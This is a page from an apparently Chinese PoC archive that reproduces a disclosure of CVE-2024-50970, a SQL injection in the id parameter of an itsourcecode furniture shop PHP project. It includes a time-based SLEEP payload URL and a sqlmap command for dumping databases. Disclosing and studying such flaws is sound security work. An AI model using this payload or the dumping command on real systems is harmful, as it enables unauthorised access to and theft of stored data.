目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2024-50970 PoC — itsourcecode Online Furniture Shopping Project 安全漏洞

来源
关联漏洞
标题:itsourcecode Online Furniture Shopping Project 安全漏洞 (CVE-2024-50970)
Description:itsourcecode Online Furniture Shopping Project是itsourcecode公司的一个在线家具购物项目。 itsourcecode Online Furniture Shopping Project 1.0版本存在安全漏洞,该漏洞源于存在SQL注入漏洞,远程攻击者可以通过id参数执行任意SQL命令。
介绍
# CVE-2024-50970
## Description

A SQL injection vulnerability in orderview1.php of Itsourcecode Online Furniture Shopping Project 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter.

## Vulnerability Type
SQL Injection

## Vendor of Product
Itsourcecode

## Affected Product Code Base:
https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/ - 1.0

## Affected Component:
The Itsourcecode Online Furniture Shopping v1.0 is vulnerable to SQL injection through the id parameter in the orderview1.php page

## Attack Vectors:
1. Set up the application locally, register an account, and log in with the newly registered account.
2. Navigate to the following URL in your browser:
   http://localhost/nikos/orderview1.php?action=edit&id=1728835149
3. Inject SQL Payload:
   Modify the id parameter in the URL to include a time-based SQL injection payload.
   http://localhost/nikos/orderview1.php?action=edit&id=1728835149+AND+(SELECT+2657+FROM+(SELECT(SLEEP(10)))DTmU)
4. Observe the Application Response:
   The page should take noticeably longer (10 seconds) to load if the injection is successful, confirming that the id parameter is vulnerable to SQL injection.
5. Now use the SQLMap tool for further exploitation and dumping databases using the below command:
   python sqlmap.py -u "http://localhost/nikos/orderview1.php?action=edit&id=1728835149" --cookie="PHPSESSID=your_cookie_here"--risk 3 --level 3 --dbs --technique=T --dump --no-cast

## Reference:
1. https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/
2. https://owasp.org/www-community/attacks/SQL_Injection
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →